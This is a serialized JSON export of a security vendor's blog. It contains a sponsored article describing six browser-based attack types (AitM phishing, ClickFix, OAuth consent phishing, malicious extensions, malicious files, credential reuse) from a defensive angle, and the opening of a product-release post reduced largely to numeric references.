is.",{"data":115257,"content":115258,"nodeType":866},{},[115259],{"data":115260,"marks":115261,"value":115262,"nodeType":865},{},[],"In most scenarios, attackers don’t think of themselves as attacking your web browser. Their end-goal is to compromise your business apps and data. That means going after the third-party apps and services that are now the backbone of business IT — and therefore the top target for attackers. ",{"data":115264,"content":115265,"nodeType":866},{},[115266,115270,115278],{"data":115267,"marks":115268,"value":115269,"nodeType":865},{},[],"The most common attack path today sees attackers log into third-party services, dump the data, and monetize it through extortion. You need only look at last year’s ",{"data":115271,"content":115273,"nodeType":882},{"uri":115272},"https://pushsecurity.com/blog/snowflake-retro?utm_source=bleeping-computer&utm_medium=sponsored-content&utm_term=article",[115274],{"data":115275,"marks":115276,"value":37719,"nodeType":865},{},[115277],{"type":997},{"data":115279,"marks":115280,"value":115281,"nodeType":865},{},[]," customer breaches or the still-ongoing Salesforce attacks to see the impact.",{"data":115283,"content":115287,"nodeType":925},{"target":115284},{"sys":115285},{"id":115286,"type":922,"linkType":923},"5agrVXzEdwALmew2F5SPDp",[],{"data":115289,"content":115290,"nodeType":866},{},[115291],{"data":115292,"marks":115293,"value":115294,"nodeType":865},{},[],"The most logical way to do this is by targeting users of those apps. And because of the changes to working practices, your users are more accessible than ever to external attackers.",{"data":115296,"content":115297,"nodeType":866},{},[115298],{"data":115299,"marks":115300,"value":115301,"nodeType":865},{},[],"Once upon a time, email was the primary communication channel with the wider world, and work happened locally — on your device, and inside your locked-down network environment. This made email and the endpoint the highest priority from a security perspective. But now, with modern work happening across a network of decentralized internet apps, and more varied communication channels outside of email, it’s harder to stop users from interacting with malicious content (at least, without significantly impeding their ability to do their jobs).",{"data":115303,"content":115304,"nodeType":866},{},[115305],{"data":115306,"marks":115307,"value":115308,"nodeType":865},{},[],"Given that the browser is the place where business apps are accessed and used, it makes sense that attacks are increasingly playing out there too. ",{"data":115310,"content":115311,"nodeType":866},{},[115312],{"data":115313,"marks":115314,"value":115315,"nodeType":865},{},[],"With that covered off, let’s take a closer look at the most prevalent browser-based attack techniques being used by attackers in the wild today.",{"data":115317,"content":115318,"nodeType":953},{},[],{"data":115320,"content":115321,"nodeType":963},{},[115322],{"data":115323,"marks":115324,"value":115326,"nodeType":865},{},[115325],{"type":961},"The 6 key browser-based attacks that security teams need to know about",{"data":115328,"content":115329,"nodeType":866},{},[115330],{"data":115331,"marks":115332,"value":115333,"nodeType":865},{},[],"Attacks that target users in their web browsers have seen an unprecedented rise in recent years. ",{"data":115335,"content":115339,"nodeType":925},{"target":115336},{"sys":115337},{"id":115338,"type":922,"linkType":923},"4ogNqZdObSIJXavHP44lom",[],{"data":115341,"content":115342,"nodeType":866},{},[115343],{"data":115344,"marks":115345,"value":115346,"nodeType":865},{},[],"Here's our breakdown of the top 6 browser-based attacks that should be on every security team's radar right now. ",{"data":115348,"content":115349,"nodeType":1458},{},[115350],{"data":115351,"marks":115352,"value":115354,"nodeType":865},{},[115353],{"type":961},"1. Phishing for credentials and sessions",{"data":115356,"content":115357,"nodeType":866},{},[115358],{"data":115359,"marks":115360,"value":115361,"nodeType":865},{},[],"The most direct way for an attacker to compromise a business application is to phish a user of that app. You might not necessarily think of phishing as a browser-based attack, but that’s exactly what it is today. ",{"data":115363,"content":115364,"nodeType":866},{},[115365],{"data":115366,"marks":115367,"value":115368,"nodeType":865},{},[],"Phishing tooling and infrastructure has evolved a lot in the past decade, while the changes to business IT means there are both many more vectors for phishing attack delivery, and apps and identities to target. Attackers can deliver links over instant messenger apps, social media, SMS, malicious ads, and using in-app messenger functionality, as well as sending emails directly from SaaS services to bypass email-based checks. Likewise, there are now hundreds of apps per enterprise to target, with varying levels of account security configuration. ",{"data":115370,"content":115374,"nodeType":925},{"target":115371},{"sys":115372},{"id":115373,"type":922,"linkType":923},"3SrKOgpedLMQRpKIZqUQur",[],{"data":115376,"content":115377,"nodeType":866},{},[115378,115382,115390],{"data":115379,"marks":115380,"value":115381,"nodeType":865},{},[],"Whereas phishing was once entirely focused on credential theft, modern phishing attacks see the attacker intercept the victim’s session on the target app, using reverse-proxy Attacker-in-the-Middle kits that are the standard choice for attackers today. This means most forms of MFA can be bypassed, with the exception of passkeys (though attackers are finding ways to work around passkeys using ",{"data":115383,"content":115385,"nodeType":882},{"uri":115384},"https://pushsecurity.com/blog/mfa-downgrade-attacks/?utm_source=bleeping-computer&utm_medium=sponsored-content&utm_term=article",[115386],{"data":115387,"marks":115388,"value":102061,"nodeType":865},{},[115389],{"type":997},{"data":115391,"marks":115392,"value":63757,"nodeType":865},{},[],{"data":115394,"content":115398,"nodeType":925},{"target":115395},{"sys":115396},{"id":115397,"type":922,"linkType":923},"2sOFEdAwQZjWOGzNAlGavb",[],{"data":115400,"content":115401,"nodeType":866},{},[115402],{"data":115403,"marks":115404,"value":115405,"nodeType":865},{},[],"There are other key differences to be aware of too. Today, phishing operates on an industrial scale, using an array of obfuscation and detection evasion techniques. The latest generation of fully customized AitM phishing kits are dynamically obfuscating the code that loads the web page, implementing custom bot protection (e.g. CAPTCHA or Cloudflare Turnstile), using runtime anti-analysis features, and using legitimate SaaS and cloud services to host and deliver phishing links to cover their tracks.",{"data":115407,"content":115408,"nodeType":866},{},[115409],{"data":115410,"marks":115411,"value":94703,"nodeType":865},{},[],{"data":115413,"content":115414,"nodeType":866},{},[115415],{"data":115416,"marks":115417,"value":115418,"nodeType":865},{},[],"These changes make phishing more effective than ever, and increasingly difficult to detect and block without being able to observe and analyze web pages that a user interacts with in real time — something only possible with browser-level visibility. ",{"data":115420,"content":115423,"nodeType":925},{"target":115421},{"sys":115422},{"id":114258,"type":922,"linkType":923},[],{"data":115425,"content":115426,"nodeType":953},{},[],{"data":115428,"content":115429,"nodeType":1458},{},[115430],{"data":115431,"marks":115432,"value":115434,"nodeType":865},{},[115433],{"type":961},"2. Malicious copy and paste (aka. ClickFix, FileFix, etc.)",{"data":115436,"content":115437,"nodeType":866},{},[115438,115441,115448],{"data":115439,"marks":115440,"value":94433,"nodeType":865},{},[],{"data":115442,"content":115443,"nodeType":882},{"uri":94436},[115444],{"data":115445,"marks":115446,"value":315,"nodeType":865},{},[115447],{"type":997},{"data":115449,"marks":115450,"value":22525,"nodeType":865},{},[],{"data":115452,"content":115453,"nodeType":866},{},[115454],{"data":115455,"marks":115456,"value":115457,"nodeType":865},{},[],"Originally known as “Fake CAPTCHA”, these attacks attempt to trick users into running malicious commands on their device — typically by solving some form of verification challenge in the browser. ",{"data":115459,"content":115460,"nodeType":866},{},[115461,115465,115472,115476,115485],{"data":115462,"marks":115463,"value":115464,"nodeType":865},{},[],"In reality, by solving the challenge, the victim is actually copying malicious code from the page clipboard and running it on their device. It typically gives the victim instructions that involve clicking prompts and copying, pasting, and running commands directly in the Windows Run dialog box, Terminal, or PowerShell. Variants such as ",{"data":115466,"content":115467,"nodeType":882},{"uri":94597},[115468],{"data":115469,"marks":115470,"value":94603,"nodeType":865},{},[115471],{"type":997},{"data":115473,"marks":115474,"value":115475,"nodeType":865},{},[]," have also emerged which instead uses the File Explorer Address Bar to execute OS commands, while recent examples have seen this attack branch out to ",{"data":115477,"content":115479,"nodeType":882},{"uri":115478},"https://www.bleepingcomputer.com/news/security/fake-mac-fixes-trick-users-into-installing-new-shamos-infostealer/",[115480],{"data":115481,"marks":115482,"value":115484,"nodeType":865},{},[115483],{"type":997},"Mac via the macOS terminal",{"data":115486,"marks":115487,"value":1048,"nodeType":865},{},[],{"data":115489,"content":115490,"nodeType":866},{},[115491],{"data":115492,"marks":115493,"value":115494,"nodeType":865},{},[],"Most commonly, these attacks are used to deliver infostealer malware, using stolen session cookies and credentials to access business apps and services. ",{"data":115496,"content":115497,"nodeType":866},{},[115498],{"data":115499,"marks":115500,"value":115501,"nodeType":865},{},[],"Like modern credential and session phishing, links to malicious pages are distributed over various delivery channels and using a variety of lures, including impersonating CAPTCHA, Cloudflare Turnstile, simulating an error loading a webpage, and many more. ",{"data":115503,"content":115507,"nodeType":925},{"target":115504},{"sys":115505},{"id":115506,"type":922,"linkType":923},"6O9YiOfhpGFCDsTil9F3On",[],{"data":115509,"content":115510,"nodeType":866},{},[115511],{"data":115512,"marks":115513,"value":115514,"nodeType":865},{},[],"The variance in lure, and differences between different versions of the same lure, can make it difficult to fingerprint and detect based on visual elements alone. Also, many of the same protections being used to obfuscate and prevent analysis of phishing pages also apply to ClickFix pages, making it equally challenging to detect and block them. ",{"data":115516,"content":115517,"nodeType":866},{},[115518],{"data":115519,"marks":115520,"value":115521,"nodeType":865},{},[],"This leaves most of the detection and blocking down to endpoint-layer controls around user-level code execution and malware running on a device. The quantity of ClickFix-related headlines in the news would indicate that endpoint controls are being routinely bypassed, or perhaps evaded altogether by targeting personal or BYOD devices. ",{"data":115523,"content":115524,"nodeType":866},{},[115525],{"data":115526,"marks":115527,"value":115528,"nodeType":865},{},[],"There is a significant opportunity to detect these attacks in the browser and stop them at the earliest opportunity, before they reach the endpoint. Every ClickFix attack and variant has a key action in common — malicious code is copied from the page’s clipboard. In some cases, this happens without any user interaction (where the only requirement on the user is to run code that has been silently copied behind the scenes), presenting a strong indicator of malicious behavior that can be observed in the browser. ",{"data":115530,"content":115531,"nodeType":953},{},[],{"data":115533,"content":115534,"nodeType":1458},{},[115535],{"data":115536,"marks":115537,"value":115539,"nodeType":865},{},[115538],{"type":961},"3. Malicious OAuth integrations",{"data":115541,"content":115542,"nodeType":866},{},[115543,115547,115553],{"data":115544,"marks":115545,"value":115546,"nodeType":865},{},[],"Malicious OAuth integrations are another way for attackers to compromise an app by tricking a user into authorizing an integration with a malicious, attacker-controlled app, with the level of data access and functionality dictated by the scopes authorized in the request. This is also known as ",{"data":115548,"content":115549,"nodeType":882},{"uri":93156},[115550],{"data":115551,"marks":115552,"value":70557,"nodeType":865},{},[],{"data":115554,"marks":115555,"value":10349,"nodeType":865},{},[],{"data":115557,"content":115561,"nodeType":925},{"target":115558},{"sys":115559},{"id":115560,"type":922,"linkType":923},"5JaP4WSfFsFSbvaa9BQBOq",[],{"data":115563,"content":115564,"nodeType":866},{},[115565],{"data":115566,"marks":115567,"value":115568,"nodeType":865},{},[],"This is an effective way for attackers to bypass hardened authentication and access controls by sidestepping the typical login process to take over an account and compromise business apps. This includes phishing-resistant MFA methods like passkeys — since the standard login process does not apply. ",{"data":115570,"content":115571,"nodeType":866},{},[115572],{"data":115573,"marks":115574,"value":115575,"nodeType":865},{},[],"A variant of this attack has dominated the headlines recently with the ongoing Salesforce breaches. In this scenario, the attacker tricked the victim into authorizing an attacker-controlled OAuth app via the device code authorization flow in Salesforce, which requires the user to enter an 8-digit code in place of a password or MFA factor.",{"data":115577,"content":115581,"nodeType":925},{"target":115578},{"sys":115579},{"id":115580,"type":922,"linkType":923},"3odEFcUcpKN553gHh2P5yr",[],{"data":115583,"content":115584,"nodeType":866},{},[115585],{"data":115586,"marks":115587,"value":115588,"nodeType":865},{},[],"Preventing malicious OAuth grants being authorized requires tight in-app management of user permissions and tenant security settings. This is no mean feat when considering the 100s of apps in use across the modern enterprise, many of which are not centrally managed by IT and security teams (or in some cases, are completely unknown to them). Even then, you’re limited by the controls made available by the app vendor. In this case, Salesforce has announced planned changes to OAuth app authorization in order to improve security prompted by these attacks — but many more apps with insecure configs exist for attackers to take advantage of in future. ",{"data":115590,"content":115591,"nodeType":866},{},[115592],{"data":115593,"marks":115594,"value":115595,"nodeType":865},{},[],"However, unlike app-specific integrations, browser-based security tools are well positioned to observe OAuth grants across all apps accessed in the browser — even the ones the security team doesn’t manage or know about, or without needing to pay for the app’s special security add-on to get visibility.",{"data":115597,"content":115598,"nodeType":953},{},[],{"data":115600,"content":115601,"nodeType":1458},{},[115602],{"data":115603,"marks":115604,"value":115606,"nodeType":865},{},[115605],{"type":961},"4. Malicious browser extensions",{"data":115608,"content":115609,"nodeType":866},{},[115610],{"data":115611,"marks":115612,"value":115613,"nodeType":865},{},[],"Malicious browser extensions are another way for attackers to compromise your business apps by observing and capturing logins as they happen, and/or extracting session cookies and credentials saved in the browser cache and password manager. ",{"data":115615,"content":115616,"nodeType":866},{},[115617,115621,115630],{"data":115618,"marks":115619,"value":115620,"nodeType":865},{},[],"Attackers do this by creating their own malicious extension and tricking your users into installing it, or taking over an existing extension to gain access to browsers where it is already installed (",{"data":115622,"content":115624,"nodeType":882},{"uri":115623},"https://secureannex.com/blog/buying-browser-extensions/",[115625],{"data":115626,"marks":115627,"value":115629,"nodeType":865},{},[115628],{"type":997},"it’s very easy for attackers to buy and add malicious updates to existing extensions",{"data":115631,"marks":115632,"value":115633,"nodeType":865},{},[],", easily passing extension web store security checks). ",{"data":115635,"content":115636,"nodeType":866},{},[115637,115641,115650,115654,115663,115666,115675],{"data":115638,"marks":115639,"value":115640,"nodeType":865},{},[],"The news around extension-based compromises has been on the rise since the ",{"data":115642,"content":115644,"nodeType":882},{"uri":115643},"https://www.bleepingcomputer.com/news/security/new-details-reveal-how-hackers-hijacked-35-google-chrome-extensions/",[115645],{"data":115646,"marks":115647,"value":115649,"nodeType":865},{},[115648],{"type":997},"Cyberhaven extension",{"data":115651,"marks":115652,"value":115653,"nodeType":865},{},[]," was hacked in December 2024, along with at least 35 other extensions. Since then, there has been regular reporting on data-stealing extensions ",{"data":115655,"content":115657,"nodeType":882},{"uri":115656},"https://www.bleepingcomputer.com/news/security/data-stealing-chrome-extensions-impersonate-fortinet-youtube-vpns/",[115658],{"data":115659,"marks":115660,"value":115662,"nodeType":865},{},[115661],{"type":997},"impersonating legitimate brands",{"data":115664,"marks":115665,"value":3892,"nodeType":865},{},[],{"data":115667,"content":115669,"nodeType":882},{"uri":115668},"https://www.bleepingcomputer.com/news/security/chrome-extensions-with-6-million-installs-have-hidden-tracking-code/",[115670],{"data":115671,"marks":115672,"value":115674,"nodeType":865},{},[115673],{"type":997},"impacting millions of users",{"data":115676,"marks":115677,"value":1048,"nodeType":865},{},[],{"data":115679,"content":115680,"nodeType":866},{},[115681],{"data":115682,"marks":115683,"value":115684,"nodeType":865},{},[],"Risky browser extension permissions include broad data access, the ability to modify website content, track user activity, capture screenshots, and manage tabs or network requests. Permissions like \"read and change all data on all websites\" or access to cookies and browsing history are particularly dangerous as they can be exploited for session hijacking, data theft, malware injection, or phishing.",{"data":115686,"content":115687,"nodeType":866},{},[115688],{"data":115689,"marks":115690,"value":115691,"nodeType":865},{},[],"Generally, your employees should not be randomly installing browser extensions unless pre-approved by your security team. The reality, however, is that many organizations have very little visibility of the extensions their employees are using, and the potential risk they’re exposed to as a result. ",{"data":115693,"content":115694,"nodeType":866},{},[115695],{"data":115696,"marks":115697,"value":115698,"nodeType":865},{},[],"To tackle malicious extensions, security tools operating in the browser can track the browser extensions deployed, highlight risky permissions, compare with known-malicious extensions, identify fraudulent/unofficial versions of a legitimate extension, and highlight other risky properties commonly associated with malicious extensions (e.g. “Developer” extensions). ",{"data":115700,"content":115701,"nodeType":953},{},[],{"data":115703,"content":115704,"nodeType":1458},{},[115705],{"data":115706,"marks":115707,"value":115709,"nodeType":865},{},[115708],{"type":961},"5. Malicious file delivery",{"data":115711,"content":115712,"nodeType":866},{},[115713],{"data":115714,"marks":115715,"value":115716,"nodeType":865},{},[],"Malicious files have been a core part of malware delivery and credential theft for many years. Just as non-email channels like malvertising and drive-by attacks are used to deliver phishing and ClickFix lures, malicious files are also distributed through similar means — leaving malicious file detection to basic known-bad checks, sandbox analysis using a proxy (not that useful in the context of sandbox-aware malware) or runtime analysis on the endpoint. ",{"data":115718,"content":115719,"nodeType":866},{},[115720],{"data":115721,"marks":115722,"value":115723,"nodeType":865},{},[],"This doesn’t just have to be malicious executables directly dropping malware onto the device. File downloads can also contain additional links taking the user to malicious content. In fact, one of the most common types of downloadable content are HTML Applications (HTAs), commonly used to spawn local phishing pages to stealthily capture credentials. More recently, attackers have been weaponizing SVG files for a similar purpose, running as self-contained phishing pages that render fake login portals entirely client-side. ",{"data":115725,"content":115726,"nodeType":866},{},[115727],{"data":115728,"marks":115729,"value":115730,"nodeType":865},{},[],"Even if malicious content cannot always be flagged from surface-level inspection of a file, recording file downloads in the browser is a useful addition to endpoint-based malware protection, and provides another layer of defense against file downloads that perform client-side attacks, or redirect the user to malicious web-based content. ",{"data":115732,"content":115733,"nodeType":953},{},[],{"data":115735,"content":115736,"nodeType":1458},{},[115737],{"data":115738,"marks":115739,"value":115741,"nodeType":865},{},[115740],{"type":961},"6. Stolen credentials and MFA gaps",{"data":115743,"content":115744,"nodeType":866},{},[115745],{"data":115746,"marks":115747,"value":115748,"nodeType":865},{},[],"This last one isn’t so much a browser-based attack, but it is a product of them. When credentials are stolen through phishing or infostealer malware they can be used to take over accounts missing MFA. ",{"data":115750,"content":115751,"nodeType":866},{},[115752,115756,115763,115767,115776],{"data":115753,"marks":115754,"value":115755,"nodeType":865},{},[],"This isn’t the most sophisticated attack, but it’s very effective. You need only look at last year’s ",{"data":115757,"content":115758,"nodeType":882},{"uri":115272},[115759],{"data":115760,"marks":115761,"value":37719,"nodeType":865},{},[115762],{"type":997},{"data":115764,"marks":115765,"value":115766,"nodeType":865},{},[]," account compromises or the ",{"data":115768,"content":115770,"nodeType":882},{"uri":115769},"https://pushsecurity.com/blog/why-attackers-are-targeting-jira-with-stolen-credentials?utm_source=bleeping-computer&utm_medium=sponsored-content&utm_term=article",[115771],{"data":115772,"marks":115773,"value":115775,"nodeType":865},{},[115774],{"type":997},"Jira",{"data":115777,"marks":115778,"value":115779,"nodeType":865},{},[]," attacks earlier this year to see how attackers harness stolen credentials at scale. ",{"data":115781,"content":115782,"nodeType":866},{},[115783,115787,115796],{"data":115784,"marks":115785,"value":115786,"nodeType":865},{},[],"With the modern enterprise using hundreds of apps, the likelihood that an app hasn’t been configured for mandatory MFA (if possible) is high. And even when an app has been configured for SSO and connected to your primary corporate identity, ",{"data":115788,"content":115790,"nodeType":882},{"uri":115789},"https://pushsecurity.com/blog/how-many-vulnerable-identities-do-you-have/?utm_source=bleeping-computer&utm_medium=sponsored-content&utm_term=sidebar",[115791],{"data":115792,"marks":115793,"value":115795,"nodeType":865},{},[115794],{"type":997},"local “ghost logins” can continue to exist",{"data":115797,"marks":115798,"value":115799,"nodeType":865},{},[],", accepting passwords with no MFA required. Just having visibility of your primary Identity Provider accounts (e.g. Google, Microsoft, Okta) and SSO-connected apps doesn't give you a full picture of your identity surface.",{"data":115801,"content":115802,"nodeType":866},{},[115803],{"data":115804,"marks":115805,"value":115806,"nodeType":865},{},[],"Logins can also be observed in the browser — in fact, it’s as close to a universal source of truth as you’re going to get about how your employees are actually logging in, which apps they’re using, and whether MFA is present, enabling security teams to find and fix vulnerable logins before they can be exploited by attackers. ",{"data":115808,"content":115809,"nodeType":953},{},[],{"data":115811,"content":115812,"nodeType":963},{},[115813],{"data":115814,"marks":115815,"value":100217,"nodeType":865},{},[115816],{"type":961},{"data":115818,"content":115819,"nodeType":866},{},[115820],{"data":115821,"marks":115822,"value":115823,"nodeType":865},{},[],"Attacks are increasingly happening in the browser. That makes it the perfect place to detect and respond to these attacks. But right now, the browser is a blind-spot for most security teams. ",{"data":115825,"content":115826,"nodeType":866},{},[115827],{"data":115828,"marks":115829,"value":115830,"nodeType":865},{},[],"Push Security’s browser-based security platform provides comprehensive detection and response capabilities against the leading cause of breaches. Push blocks browser-based attacks like AiTM phishing, credential stuffing, password spraying and session hijacking using stolen session tokens. You can also use Push to find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, risky OAuth integrations, and more to harden your identity attack surface.",{"data":115832,"content":115833,"nodeType":866},{},[115834,115838,115846],{"data":115835,"marks":115836,"value":115837,"nodeType":865},{},[],"If you want to learn more about how Push helps you to detect and stop attacks in the browser, ",{"data":115839,"content":115841,"nodeType":882},{"uri":115840},"https://pushsecurity.com/demo?utm_source=bleeping-computer&utm_medium=sponsored-content&utm_term=article",[115842],{"data":115843,"marks":115844,"value":22730,"nodeType":865},{},[115845],{"type":997},{"data":115847,"marks":115848,"value":1048,"nodeType":865},{},[],"6 browser-based attacks every security team should be prepared for","What security teams need to know about the browser-based attack techniques that are the leading cause of breaches.","2025-09-05T00:00:00.000Z","6-browser-based-attacks-every-security-team-should-be-prepared-for",{"items":115854},[115855,115857],{"sys":115856,"name":11426},{"id":11425},{"sys":115858,"name":342},{"id":8410},{"items":115860},[115861],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":115862},{"url":11434},"blog/the-most-advanced-clickfix-yet",{"json":115865},{"data":115866,"content":115867,"nodeType":1739},{},[115868],{"data":115869,"content":115870,"nodeType":866},{},[115871],{"data":115872,"marks":115873,"value":94408,"nodeType":865},{},[],{"id":93833,"publishedAt":115875},"2026-08-12T11:53:36.977Z",{"items":115877},[115878,115880],{"sys":115879,"name":342},{"id":8410},{"sys":115881,"name":11426},{"id":11425},{"items":115883},[115884,115886,115888,115890,115892,115894,115896,115898,115900,115902,115904,115906,115908],{"sys":115885,"name":279,"slug":280,"tier":31},{"id":276},{"sys":115887,"name":519,"slug":520,"tier":31},{"id":516},{"sys":115889,"name":342,"slug":343,"tier":31},{"id":339},{"sys":115891,"name":642,"slug":643,"tier":31},{"id":639},{"sys":115893,"name":315,"slug":316,"tier":45},{"id":312},{"sys":115895,"name":440,"slug":441,"tier":45},{"id":437},{"sys":115897,"name":475,"slug":476,"tier":45},{"id":472},{"sys":115899,"name":607,"slug":608,"tier":45},{"id":604},{"sys":115901,"name":448,"slug":449,"tier":45},{"id":445},{"sys":115903,"name":422,"slug":423,"tier":45},{"id":419},{"sys":115905,"name":563,"slug":564,"tier":45},{"id":560},{"sys":115907,"name":351,"slug":352,"tier":45},{"id":348},{"sys":115909,"name":377,"slug":378,"tier":45},{"id":374},"a1jszNvRBWsjUMRu9Ko6-JrZIirWNf1_NCdmXg2F2qU",{"id":115912,"title":91865,"authorsCollection":115913,"content":115917,"extension":228,"faqItemsCollection":116596,"faqTitle":59,"featured":6,"hashTags":59,"meta":116598,"metaTitle":116599,"ogImage":59,"postType":91157,"publishedDate":91867,"relatedBlogPostsCollection":116600,"slug":91868,"stem":117639,"subtitle":59,"summary":117640,"synopsis":91866,"sys":117651,"tagsCollection":117653,"topicsCollection":117657,"__hash__":117667},"blog/blog/product-release-november-2025.json",{"items":115914},[115915],{"fullName":90607,"firstName":90608,"jobTitle":90609,"socialLinks":59,"profilePicture":115916},{"url":90611},{"json":115918,"links":116542},{"data":115919,"content":115920,"nodeType":1739},{},[115921,115927,115993,115999,116005,116025,116045,116075,116080,116097,116103,116109,116115,116142,116147,116164,116170,116183,116189,116209,116215,116221,116241,116254,116259,116265,116271,116284,116290,116338,116344,116349,116366,116372,116385,116391,116412,116432,116438,116444,116536],{"data":115922,"content":115923,"nodeType":963},{},[115924],{"data":115925,"marks":115926,"value":90622,"nodeType":865},{},[],{"data":115928,"content":115929,"nodeType":1049},{},[115930,115939,115948,115957,115966,115975,115984],{"data":115931,"content":115932,"nodeType":1003},{},[115933],{"data":115934,"content":115935,"nodeType":866},{},[115936],{"data":115937,"marks":115938,"value":91186,"nodeType":865},{},[],{"data":115940,"content":115941,"nodeType":1003},{},[115942],{"data":115943,"content":115944,"nodeType":866},{},[115945],{"data":115946,"marks":115947,"value":91196,"nodeType":865},{},[],{"data":115949,"content":115950,"nodeType":1003},{},[115951],{"data":115952,"content":115953,"nodeType":866},{},[115954],{"data":115955,"marks":115956,"value":91206,"nodeType":865},{},[],{"data":115958,"content":115959,"nodeType":1003},{},[115960],{"data":115961,"content":115962,"nodeType":866},{},[115963],{"data":115964,"marks":115965,"value":91216,"nodeType":865},{},[],{"data":115967,"content":115968,"nodeType":1003},{},[115969],{"data":115970,"content":115971,"nodeType":866},{},[115972],{"data":115973,"marks":115974,"value":91226,"nodeType":865},{},[],{"data":115976,"content":115977,"nodeType":1003},{},[115978],{"data":115979,"content":115980,"nodeType":866},{},[115981],{"data":115982,"marks":115983,"value":91236,"nodeType":865},{},[],{"data":115985,"content":115986,"nodeType":1003},{},[115987],{"data":115988,"content":115989,"nodeType":866},{},[115990],{"data":115991,"marks":115992,"value":90685,"nodeType":865},{},[],{"data":115994,"content":115995,"nodeType":963},{},[115996],{"data":115997,"marks":115998,"value":91186,"nodeType":865},{},[],{"data":116000,"content":116001,"nodeType":866},{},[116002],{"data":116003,"marks":116004,"value":91258,"nodeType":865},{},[],{"data":116006,"content":116007,"nodeType":866},{},[116008,116011,116015,116018,116022],{"data":116009,"marks":116010,"value":91265,"nodeType":865},{},[],{"data":116012,"marks":116013,"value":91270,"nodeType":865},{},[116014],{"type":961},{"data":116016,"marks":116017,"value":91274,"nodeType":865},{},[],{"data":116019,"marks":116020,"value":91279,"nodeType":865},{},[116021],{"type":961},{"data":116023,"marks":116024,"value":91283,"nodeType":865},{},[],{"data":116026,"content":116027,"nodeType":866},{},[116028,116031,116035,116038,116042],{"data":116029,"marks":116030,"value":91290,"nodeType":865},{},[],{"data":116032,"marks":116033,"value":288,"nodeType":865},{},[116034],{"type":961},{"data":116036,"marks":116037,"value":91298,"nodeType":865},{},[],{"data":116039,"marks":116040,"value":91303,"nodeType":865},{},[116041],{"type":961},{"data":116043,"marks":116044,"value":91307,"nodeType":865},{},[],{"data":116046,"content":116047,"nodeType":1049},{},[116048,116057,116066],{"data":116049,"content":116050,"nodeType":1003},{},[116051],{"data":116052,"content":116053,"nodeType":866},{},[116054],{"data":116055,"marks":116056,"value":91320,"nodeType":865},{},[],{"data":116058,"content":116059,"nodeType":1003},{},[116060],{"data":116061,"content":116062,"nodeType":866},{},[116063],{"data":116064,"marks":116065,"value":91330,"nodeType":865},{},[],{"data":116067,"content":116068,"nodeType":1003},{},[116069],{"data":116070,"content":116071,"nodeType":866},{},[116072],{"data":116073,"marks":116074,"value":91340,"nodeType":865},{},[],{"data":116076,"content":116079,"nodeType":925},{"target":116077},{"sys":116078},{"id":91345,"type":922,"linkType":923},[],{"data":116081,"content":116082,"nodeType":866},{},[116083,116086,116094],{"data":116084,"marks":116085,"value":21,"nodeType":865},{},[],{"data":116087,"content":116090,"nodeType":15311},{"target":116088},{"sys":116089},{"id":80107,"type":922,"linkType":923},[116091],{"data":116092,"marks":116093,"value":16192,"nodeType":865},{},[],{"data":116095,"marks":116096,"value":21,"nodeType":865},{},[],{"data":116098,"content":116099,"nodeType":963},{},[116100],{"data":116101,"marks":116102,"value":91196,"nodeType":865},{},[],{"data":116104,"content":116105,"nodeType":866},{},[116106],{"data":116107,"marks":116108,"value":91376,"nodeType":865},{},[],{"data":116110,"content":116111,"nodeType":866},{},[116112],{"data":116113,"marks":116114,"value":91383,"nodeType":865},{},[],{"data":116116,"content":116117,"nodeType":866},{},[116118,116121,116125,116128,116132,116135,116139],{"data":116119,"marks":116120,"value":91390,"nodeType":865},{},[],{"data":116122,"marks":116123,"value":91395,"nodeType":865},{},[116124],{"type":961},{"data":116126,"marks":116127,"value":91399,"nodeType":865},{},[],{"data":116129,"marks":116130,"value":90727,"nodeType":865},{},[116131],{"type":961},{"data":116133,"marks":116134,"value":91407,"nodeType":865},{},[],{"data":116136,"marks":116137,"value":80322,"nodeType":865},{},[116138],{"type":961},{"data":116140,"marks":116141,"value":91415,"nodeType":865},{},[],{"data":116143,"content":116146,"nodeType":925},{"target":116144},{"sys":116145},{"id":91420,"type":922,"linkType":923},[],{"data":116148,"content":116149,"nodeType":866},{},[116150,116153,116161],{"data":116151,"marks":116152,"value":21,"nodeType":865},{},[],{"data":116154,"content":116157,"nodeType":15311},{"target":116155},{"sys":116156},{"id":90823,"type":922,"linkType":923},[116158],{"data":116159,"marks":116160,"value":16192,"nodeType":865},{},[],{"data":116162,"marks":116163,"value":21,"nodeType":865},{},[],{"data":116165,"content":116166,"nodeType":963},{},[116167],{"data":116168,"marks":116169,"value":91206,"nodeType":865},{},[],{"data":116171,"content":116172,"nodeType":866},{},[116173,116176,116180],{"data":116174,"marks":116175,"value":91451,"nodeType":865},{},[],{"data":116177,"marks":116178,"value":91456,"nodeType":865},{},[116179],{"type":961},{"data":116181,"marks":116182,"value":91460,"nodeType":865},{},[],{"data":116184,"content":116185,"nodeType":866},{},[116186],{"data":116187,"marks":116188,"value":91467,"nodeType":865},{},[],{"data":116190,"content":116191,"nodeType":866},{},[116192,116195,116199,116202,116206],{"data":116193,"marks":116194,"value":91474,"nodeType":865},{},[],{"data":116196,"marks":116197,"value":91456,"nodeType":865},{},[116198],{"type":961},{"data":116200,"marks":116201,"value":91482,"nodeType":865},{},[],{"data":116203,"marks":116204,"value":91487,"nodeType":865},{},[116205],{"type":961},{"data":116207,"marks":116208,"value":90995,"nodeType":865},{},[],{"data":116210,"content":116211,"nodeType":963},{},[116212],{"data":116213,"marks":116214,"value":91497,"nodeType":865},{},[],{"data":116216,"content":116217,"nodeType":866},{},[116218],{"data":116219,"marks":116220,"value":91504,"nodeType":865},{},[],{"data":116222,"content":116223,"nodeType":866},{},[116224,116227,116231,116234,116238],{"data":116225,"marks":116226,"value":91511,"nodeType":865},{},[],{"data":116228,"marks":116229,"value":91270,"nodeType":865},{},[116230],{"type":961},{"data":116232,"marks":116233,"value":91519,"nodeType":865},{},[],{"data":116235,"marks":116236,"value":91524,"nodeType":865},{},[116237],{"type":961},{"data":116239,"marks":116240,"value":1048,"nodeType":865},{},[],{"data":116242,"content":116243,"nodeType":866},{},[116244,116247,116251],{"data":116245,"marks":116246,"value":91534,"nodeType":865},{},[],{"data":116248,"marks":116249,"value":91539,"nodeType":865},{},[116250],{"type":961},{"data":116252,"marks":116253,"value":91543,"nodeType":865},{},[],{"data":116255,"content":116258,"nodeType":925},{"target":116256},{"sys":116257},{"id":91548,"type":922,"linkType":923},[],{"data":116260,"content":116261,"nodeType":963},{},[116262],{"data":116263,"marks":11626